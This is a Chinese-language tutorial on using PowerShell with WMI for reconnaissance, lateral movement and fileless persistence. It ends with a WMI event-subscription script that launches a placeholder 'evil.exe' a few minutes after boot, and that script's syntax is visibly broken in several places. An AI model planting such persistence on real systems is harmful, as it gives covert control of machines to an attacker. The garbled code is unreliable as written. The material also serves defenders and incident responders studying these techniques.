powershell(7)-WMI

前言

Wmi无疑是目前Windows攻击中用的最多的工具, 他强大的管理功能为我们带来了极大的便利, 而Powershell可以轻松的操作并利用它, 我们会用较大的篇幅来详细了解powershell与wmi的魅力。那么WMI我们简单介绍一些常识即可,主要还是介绍Powershell利用之。

本节分上下节, 上节主要讲解WMI的相关知识,下节主要讲解powershell利用WMI来进行一些攻击行为等

WMI简介

WMI 的全称是 Windows Management Instrumentation,即 Windows 管理规范,在 Windows 操作系统中,随着 WMI 技术的引入并在之后随着时间的推移而过时,它作为一项功能强大的技术,从 Windows NT 4.0 和 Windows 95 开始,始终保持其一致性。它出现在所有的 Windows 操作系统中,并由一组强大的工具集合组成,用于管理本地或远程的 Windows 系统。

尽管已被大众所知并且从其创始以来,已经被系统管理员大量使用,但当WMI技术在震网病毒中被发现以后,它开始在安全社区变得非常流行。从那之后, WMI 在攻击中变得日益普及,其作用有执行系统侦察,反病毒和虚拟机检测,代码执行,横向运动,权限持久化以及数据窃取。 随着越来越多的攻击者利用 WMI 进行攻击,他将会是安全维护人员,事件响应人员,取证分析师必须掌握的一项重要技能,并且要明白如何发挥它的优势。

基础知识

刚开始接触WMI的朋友可能有点抓狂,我们下面先来看看我们需要知道的一些名词等:

如果你有研究下去的意愿, 还是推荐你阅读微软的文档msdn.microsoft.com.aspx)

  1. WMI是微软实现的由分布式管理任务组(DMTF)发布的基于 Web 的企业管理(WBEM)和公共信息模型(CIM)标准。也就是说DMTF发布了WBEM和CIM
  2. 使用 WMI: 微软提供了多种使用WMI的方式,我们就直接使用Powershell来管理
  3. 查询 WMI: 查询上WMI有专门的WMI 查询语言(WQL), 类似SQL语言
  4. WMI是如何得到数据的: 当用户请求WMI对象时,WMI 服务 (Winmgmt) 需要知道如何返回被请求的 WMI 对象。当 WMI 服务填充 WMI 对象时,有两种类型的类实例: 动态对象和持久性对象。动态对象是在特定查询执行时在运行过程中生成的。例如,Win32_Process 对象就是在运行过程中动态生成的。持久性对象存储在位于 %SystemRoot%\System32\wbem\Repository\ 的 CIM 数据库中,它存储着 WMI 类的实例,类的定义和命名空间的定义。
  5. 远程传输 WMI 数据: Microsoft 提供了两个协议用于远程传输 WMI 数据: 分布式组件对象模型 (DCOM) 和 Windows 远程管理 (WinRM)。一般来说我们是通过DCOM来进行通信的,也就是我们的135端口的RPC服务。
  6. WMI的命名空间: 如果不制定命名空间那么ROOT\CIMV2是WMI的默认命名空间, 可以在注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Scripting进行修改

下面一张Fireeye图介绍了WMI的结构:

powershell(7)-WMI - 图1

WMI管理工具

下面借用Fireeye对wmi工具的介绍:

wmic.exe

wmic.exe 是一个与 WMI 进行交互的强大的命令行实用工具。它拥有大量的 WMI 对象的方便记忆的默认别名,但你还可以执行更为复杂的查询。wmic.exe 还可以执行 WMI 方法,攻击者经常用来通过调用 Win32_Process 的 Create 方法来进行横向运动。Wmic.exe 的局限性之一是不能接受调用嵌入的 WMI 对象的方法。在 PowerShell 不可用的情况下,使用 wmic.exe 足够用于执行系统侦察和基本方法的调用。

wbemtest.exe

wbemtest.exe 是一个功能强大的带有图形界面的 WMI 诊断工具。它能够枚举对象实例、执行查询、注册事件、修改 WMI 对象和类,并且可以在本地或远程去调用方法。它的接口对大多数用户来说不是特别友好,但从攻击者的角度来看,在其他工具不可用时,它完全可以作为替代选项 —— 例如,如果应用程序白名单机制阻止了 wmic.exe 和 powershell.exe,那么 wbemtest.exe 将是一个带有一个不太理想的 UI (如图 3 所示)但是功能却很强大的实用工具。

powershell(7)-WMI - 图2

winrm.exe

powershell(7)-WMI - 图3

VBScript and JScript

这两个脚本语言相信不用我介绍了,同样也可以操作WMI

wmic, wmis, wmis-pth(Linux)

wmic 是一个简单的 Linux 命令行实用工具,用于执行 WMI 查询。wmis 是 Win32_Process 类的 Create 方法的远程调用命令行包装程序,并且支持使用 NTLM 哈希进行连接远程计算机,因此, wmis 已经被渗透测试人员大量使用。

Powershell

emmmmm…Powershell就不多说了,看下面吧。

Powershell—-WMI

首先来看看命令吧:

powershell(7)-WMI - 图4

在Powershell中使用标准WQL对WMI操作

SELECT * FROM Win32_Process WHERE Name LIKE "% WinRM%"
我们可以使用参数-query进行查询:
上面的命令是查询进程中名字为WinRM的进程
Get-WmiObject -Query "select * from win32_service where name='WinRM'" | Format-List -Property PSComputerName, Name, ExitCode, Name, ProcessID, StartMode, State, Status

使用Ps提供的WMI接口

Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_OperatingSystem

其中ROOT\CIMV2是一个默认的命名空间, 类Win32_OperatingSystem是获取机器的信息, 这里对应到我们的wmic.exe的命令就是wmic /NAMESPACE:"root\CIMV2" PATH Win32_OperatingSystem, 那么还有很多类可以调用,比如:Get-WmiObject -Class Win32_Process,这条命令会获取到所有的本地计算机的进程,我们选择一个进程来查看Get-WmiObject -Class Win32_Process | Where-Object {$_.name -like "*explorer*"}
显示如下:

  1. __GENUS : 2
  2. __CLASS : Win32_Process
  3. __SUPERCLASS : CIM_Process
  4. __DYNASTY : CIM_ManagedSystemElement
  5. __RELPATH : Win32_Process.Handle="2828"
  6. __PROPERTY_COUNT : 45
  7. __DERIVATION : {CIM_Process, CIM_LogicalElement, CIM_ManagedSystemElement}
  8. __SERVER : WIN-0B8BJI54VH7
  9. __NAMESPACE : root\cimv2
  10. __PATH : \\WIN-0B8BJI54VH7\root\cimv2:Win32_Process.Handle="2828"
  11. Caption : explorer.exe
  12. CommandLine : C:\Windows\Explorer.EXE
  13. CreationClassName : Win32_Process
  14. CreationDate : 20171019151524.230494+480
  15. CSCreationClassName : Win32_ComputerSystem
  16. CSName : WIN-0B8BJI54VH7
  17. Description : explorer.exe
  18. ExecutablePath : C:\Windows\Explorer.EXE
  19. ExecutionState :
  20. Handle : 2828
  21. HandleCount : 993
  22. InstallDate :
  23. KernelModeTime : 570183655
  24. MaximumWorkingSetSize : 1380
  25. MinimumWorkingSetSize : 200
  26. Name : explorer.exe
  27. OSCreationClassName : Win32_OperatingSystem
  28. OSName : Microsoft Windows 7 专业版 |C:\Windows|\Device\Harddisk0\Partition1
  29. OtherOperationCount : 446903
  30. OtherTransferCount : 13797646
  31. PageFaults : 762204
  32. PageFileUsage : 50548
  33. ParentProcessId : 1060
  34. PeakPageFileUsage : 72548
  35. PeakVirtualSize : 469929984
  36. PeakWorkingSetSize : 106956
  37. Priority : 8
  38. PrivatePageCount : 51761152
  39. ProcessId : 2828
  40. QuotaNonPagedPoolUsage : 78
  41. QuotaPagedPoolUsage : 659
  42. QuotaPeakNonPagedPoolUsage : 91
  43. QuotaPeakPagedPoolUsage : 820
  44. ReadOperationCount : 22670
  45. ReadTransferCount : 343804812
  46. SessionId : 1
  47. Status :
  48. TerminationDate :
  49. ThreadCount : 32
  50. UserModeTime : 323078071
  51. VirtualSize : 386273280
  52. WindowsVersion : 6.1.7601
  53. WorkingSetSize : 71655424
  54. WriteOperationCount : 1163
  55. WriteTransferCount : 50207671
  56. ProcessName : explorer.exe
  57. Handles : 993
  58. VM : 386273280
  59. WS : 71655424
  60. Path : C:\Windows\Explorer.EXE

那么wmi有什么作用, 这里powershell调用即可,比如我们的远程掉用:

  1. C:\PS>get-wmiobject -query "select * from win32_service where name='WinRM'" -computername server01, server02
  2. ExitCode : 0
  3. Name : WinRM
  4. ProcessId : 1708
  5. StartMode : Auto
  6. State : Running
  7. Status : OK
  8. ExitCode : 0
  9. Name : WinRM
  10. ProcessId : 948
  11. StartMode : Auto
  12. State : Running
  13. Status : OK

那么我们常用的类包括下面的几种:

  1. 下面的 WMI 类是在攻击的侦察阶段可以收集数据的子集:
  2. 主机/操作系统信息:Win32_OperatingSystem, Win32_ComputerSystem
  3. 文件/目录列举: CIM_DataFile
  4. 磁盘卷列举: Win32_Volume
  5. 注册表操作: StdRegProv
  6. 运行进程: Win32_Process
  7. 服务列举: Win32_Service
  8. 事件日志: Win32_NtLogEvent
  9. 登录账户: Win32_LoggedOnUser
  10. 共享: Win32_Share
  11. 已安装补丁: Win32_QuickFixEngineering

比如这里获取到的补丁信息:

  1. PS C:\Users\rootclay> Get-WmiObject -Class Win32_QuickFixEngineering
  2. Source Description HotFixID InstalledBy InstalledOn
  3. ------ ----------- -------- ----------- -----------
  4. WIN-0B8BJI... Hotfix KB2534111 2017/9/6 0:00:00
  5. WIN-0B8BJI... Update KB2999226 WIN-0B8BJI54VH7\r... 2017/10/25 0:00:00
  6. WIN-0B8BJI... Update KB976902 WIN-0B8BJI54VH7\A... 2010/11/21 0:00:00

WMI触发器

WMI用处可以说是非常的多,但是我们不能一一列举,我们就用一个wmi在攻防中用的最神化的一个功能,无文件持久化控制的例子来举一个实际例子:

那么想要了解到wmi的这项功能,我们先来看看wmi事件的基础:

事件触发条件

  1. 事件筛选器

    事件筛选器是什么呢?事件筛选器描述事件并且执行WQL事件查询。

  2. 事件消费者

    事件消费者是什么呢?事件消费是一个派生自 __EventConsumer 系统类的类,它表示了在事件触发时的动作。我们常用的消费类有下面两个:

    1. ActiveScriptEventConsumer - 执行嵌入的 VBScript 或 JScript 脚本 payload
    2. CommandLineEventConsumer - 执行一个命令行程序
  3. 消费者绑定筛选器

    消费者绑定筛选器?消费者绑定筛选器就是将筛选器绑定到消费者的注册机制。

实例代码

下面我们分析一个实例代码:其中第5个变量为事件筛选器、第6个变量为事件消费者、最后一个就是绑定事件筛选器和事件消费者,也就是通俗理解的执行。这个脚本能达到什么效果呢?事件筛选器在系统启动后的 200 和 320 秒之间被当作一个触发器。在事件被触发时事件消费者会使用CommandLineEventConsumer执行已指定好的可执行文件。

  1. $filterName='BotFilter82'
  2. $consumerName='BotConsumer23'
  3. $exePath='C:\Windows\System32\evil.exe'
  4. $Query=”SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance
  5. ISA 'Win32_PerfFormattedData_PerfOS_System' AND
  6. TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320
  7. $WMIEventFilter=Set-WmiInstance -Class__EventFilter -NameSpace root\subscription -Arguments @
  8. {Name=$filterName;EventNameSpace=”root\
  9. cimv2”;QueryLanguage=”WQL”;Query=$Query}
  10. -ErrorActionStop
  11. $WMIEventConsumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\
  12. subscription -Arguments @=$consumerName;ExecutablePa
  13. th=$exePath;CommandLineTemplate=$exePath}
  14. Set-WmiInstance-Class__FilterToConsumerBinding -Namespace root\subscription -Arguments
  15. @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}

同时我们可以通过Powersploit的代码即可,代码会在本目录下生成类似于上面的Powershell代码,直接运行即可。

生命周期

对于我们安装的wmi事件,如果你是使用普通用户权限启动的那么他的生命周期就是主进程的生命周期,如果使用的是管理员的权限运行的,那么就能够达到持久化控制的效果。